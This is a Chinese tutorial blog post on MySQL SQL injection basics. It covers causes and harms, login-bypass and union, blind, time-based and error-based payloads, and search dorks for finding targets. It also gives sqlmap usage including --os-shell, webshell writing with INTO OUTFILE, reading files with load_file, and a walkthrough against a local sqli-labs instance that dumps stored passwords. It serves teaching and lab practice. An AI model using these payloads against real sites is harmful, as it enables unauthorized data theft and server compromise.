前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >1.sql注入基础

1.sql注入基础

作者头像
tea9
发布2022-09-08 12:12:17
5270
发布2022-09-08 12:12:17
举报
文章被收录于专栏:tea9的博客

目录

  • SQL注入原理
    • SQL注入原理-SQL注入产生原因
    • SQL注入原理-SQL注入核心原理
  • SQL注入的危害
  • mysql注入语句
    • mysql注入语句-mysql介绍
    • mysql注入语句-万能密码
    • mysql注入语句-注入语句例子
  • sql注入流程
  • MySQL手工注入方法
  • TIPS
  • 实例
  • 相关链接

SQL注入原理

SQL注入原理-SQL注入产生原因

基于B/S架构的网络上,对安全控制能力较弱,然后开发人员水平和经验参差不齐,没有对用户输入数据,或者对页面中携带的信息进行必要的判断。攻击者利用这个机会提交一段数据库查询代码,可以获得一些数据库信息。

SQL注入原理-SQL注入核心原理

SQL注入是一种将恶意的SQL代码插入到用户的输入参数中的攻击,攻击者探测出开发者编程过程中的漏洞,利用漏洞,巧妙的构造SQL语句,对数据库的内容进行检索或修改。

简单概括:利用现有应用程序,将精心构造的SQL语句“注入”到后台数据库所执行的恶意操作


灵活的SQL查询语句+用户输入的数据带入可执行SQL语句=用户直接操作数据库->SQL注入漏洞

SQL注入的危害

  • 数据库信息泄露:数据库中存放的用户的隐私信息的泄漏。
  • 网页篡改:通过操作数据库对特定网页进行篡改。
  • 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员账户被篡改。
  • 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  • 破坏硬盘数据,瘫痪全系统

mysql注入语句

mysql注入语句-mysql介绍

MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件。 MySQL是一种关系数据库管理系统,关系数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。 MySQL所使用的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策,分为社区版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。

– 摘自百度百科

mysql注入语句-万能密码

代码语言:javascript
复制
# 登录处正常的SQL语句:
select * from users where username= 'admin' and pwd = 'pass';

# 万能密码:
'or '1' = '1 

# 带入用户输入参数
select * from users where username= ''or '1' = '1' and pwd = ''or '1' = '1';

第一个 or 前面为 false 后面为 true -> true
and 前面为 true 后面为 false -> false
第二个 or 前面为 false 后面为 true -> true

mysql注入语句-注入语句例子

代码语言:javascript
复制
# 利用构造1=2错误执行union后面的语句
and 1=2 union select 1,2,3--

# 利用mysql正则表达式为匹配当前用户是否为ro开头
select user() regexp '^ro'

# 查询当前用户的ascii码是否为114(r)
ascii(substr(substr(select user()),1,1))=114

# 如果当前用户的ascii码为114(r) 就返回0 否则就睡5秒
if(ascii(substr((select user()),1,1))=114,0,sleep(5))

# 查询第一个表名的ascii码是否为99(c) 是返回1 否返回0
(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=99)

# 利用updatexml报错,返回版本信息
updatexml(1,concat(0x7e,(select @@version),0x7e),1)

sql注入流程

代码语言:javascript
复制
 inurl:php?id=

有特定目标:

代码语言:javascript
复制
 inurl:php?id= site:target.com
代码语言:javascript
复制
 '
 and 1=1 / and 1=2
 and '1' ='1 / and '1'='2
 and 1 like 1 / and 1 like 2

工具识别:

扩展识别广度和深度:

代码语言:javascript
复制
 sqlmap --level 增加测试级别,对header中相关参数也进行测试
 sqlmap -r filename(filename中为网站请求数据)

利用工具提高识别效率:

搜索关键代码和函数

代码语言:javascript
复制
 关键代码包括 $_GET/$_POST/$id/select/SELECT

MySQL手工注入方法

MySQL数据库结构

  • Mysql
    • 连接层
      • 通信协议
      • 线程
      • 验证
    • SQL层
      • 解析器
      • 授权
      • 优化器
      • 查询执行
      • 查询高速缓存
      • 查询日志记录

SQL层的功能

  1. 判断语法、语句、语义
  2. 数据库对象授权情况判断,授权失败不继续
  3. 解析(解析器):将sql语句解析成执行计划,运行执行计划,生成找数据的方式
  4. 优化(优化器):运行执行计划,基于算法,从执行计划中选择代价最小的交给“执行器”
  5. 执行(执行器):运行执行计划,最终生产如何去磁盘找数据方式
  6. 将取数据的方式,交由下层(存储引擎层)进行处理
  7. 最终将取出的数据抽象成管理员或用户能看懂的方式(表),展现在用户面前
  8. 查询缓存:缓存之前查询的数据

MySQL内置库(>=5.7)

mysql: 账户信息、权限信息、存储过程、event、时区等信息。

sys: 存储过程、自定义函数、视图帮助我们快速的了解系统的元数据信息。(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)

performance_schema: 用于收集数据库服务器性能参数

information_schema: 访问数据库元数据的方式,保存关于MySQL服务器所维护的所有其他数据库信息,如数据库名,数据库表,表的数据类型与访问权限等。

查询数据核心语法

代码语言:javascript
复制
# 查库
select schema_name from information_schema.schemata;

#查表
select table_name from information_schema.tables where table_schema=库名;

#查列
select column_name from information_schema.columns where table_name=表名;

#查数据
select 列名 from 库名.表名;

Tips

提示1: 所有类型的sql注入,都是基于查库、表、列语句 提示2: 如果数据太多,导致无法返回查询结果: 查询的场景:可利用limit限定返回数量及为止,依次查询 select username,password from security.users limit 0,1; 回显数据的场景:* concat * 链接多个数据成为一条返回结果 select group_concat(schema_name) from infromation_schema.schemata; 提示3: 在一些场景,想要快速获取数据,需要借助工具,如:BurpSuite

sql注入流程

思维导图

  • SQL注入
    • 信息搜集
      • 数据库类型
        • 报错信息
        • 特有语句(不同数据库版本)
      • 数据库版本
      • 数据库用户
      • 判断数据库权限
    • 数据获取
      • 获取库信息
        • 获取当前库
        • 获取所有库
      • 获取表信息
      • 获取列信息
      • 获取数据
    • 提权
      • 根据数据库权限
        • 执行系统命令
          • 直接提权(
          • mssql:调用xp.cmdshell执行系统命令、
          • mysql:写木马到网站目录、
          • sqlmap --os-shell(os shell会上传两个文件一个木马 一个是创建文件 富于这个文件775的权限控制权限))
        • 读文件
          • 读数据库配置文件,尝试远程连接
          • 读系统配置文件,搜集信息
          • select load_file('/etc/password')
        • 写文件
          • 写webshell到网站目录
          • outfile (需要绝对路径) (格式: select * into outfile "文件地址" 示例:select * info outfile 'f:/mysql/test/one' form teacher_class; )

TIPS

mysql写shell

1.需要知道绝对路径(web下层目录) 2.用户需要file权限(root可写),一般用户不会有file权限 3.文件大小小于max_allow_upload 4.secure_file_priv 指定可写目录

代码语言:javascript
复制
select '<?php phpinfo();?>' into outfile 'c://php//www//kkk.php';
select '<?php phpinfo();?>' into dumpfile 'c://php//www//kkk2.php';
select * from user into outfile 'c://php//www/kkk4.php' fields terminated by '<?php phpinfo();?>'

实例

tips:

查询数据的时候把信息记录到txt上

代码语言:javascript
复制
# 判断是否存在sql注入 
http://127.0.0.1/Less-1/?id=2' 
http://127.0.0.1/Less-1/?id=2' and '1'=2

# 判断列数
http://127.0.0.1/Less-1/?id=2' order by 3--+

# 判断输出信息位置 (union之前要报错才会查询union后面的)
http://127.0.0.1/Less-1/?id=99999' union select 1,2,3--+

# 查库名
http://127.0.0.1/Less-1/?id=' union select 1,2,(select group_concat(schema_name) from information_schema.schemata--+

# 查表名 'security'/十六进制0x/database()
http://127.0.0.1/Less-1/?id=' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security'--+

# 查数据 group_concat/concat_ws
http://127.0.0.1/Less-1/?id=' union select 1,2,(select group_concat(username,0x7e,password) from security.users)--+

# 查权限
http://127.0.0.1/Less-1/?id=' union select 1,2,(select user())--+ 

> root@localhost 

#  读文件 db-creds.inc 数据库配置文件
http://127.0.0.1/Less-1/?id=' union select 1,2,(select load_file('/var/www/html/sql-connections/db-creds.inc'))--+ 

相关链接

mysql官网 mysql内置函数 ascii对照表 mysql正则 MYSQL updatexml报错注入 Python Spider 的总结 MySQL手工注入步骤+直接写入一句话 Mysql通过命令授于用户数据库操作权限 mysql 函数执行权限

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 目录
  • SQL注入原理
    • SQL注入原理-SQL注入产生原因
      • SQL注入原理-SQL注入核心原理
      • SQL注入的危害
      • mysql注入语句
        • mysql注入语句-mysql介绍
          • mysql注入语句-万能密码
            • mysql注入语句-注入语句例子
            • sql注入流程
            • MySQL手工注入方法
            • TIPS
            • 实例
            • 相关链接
            相关产品与服务
            云数据库 SQL Server
            腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档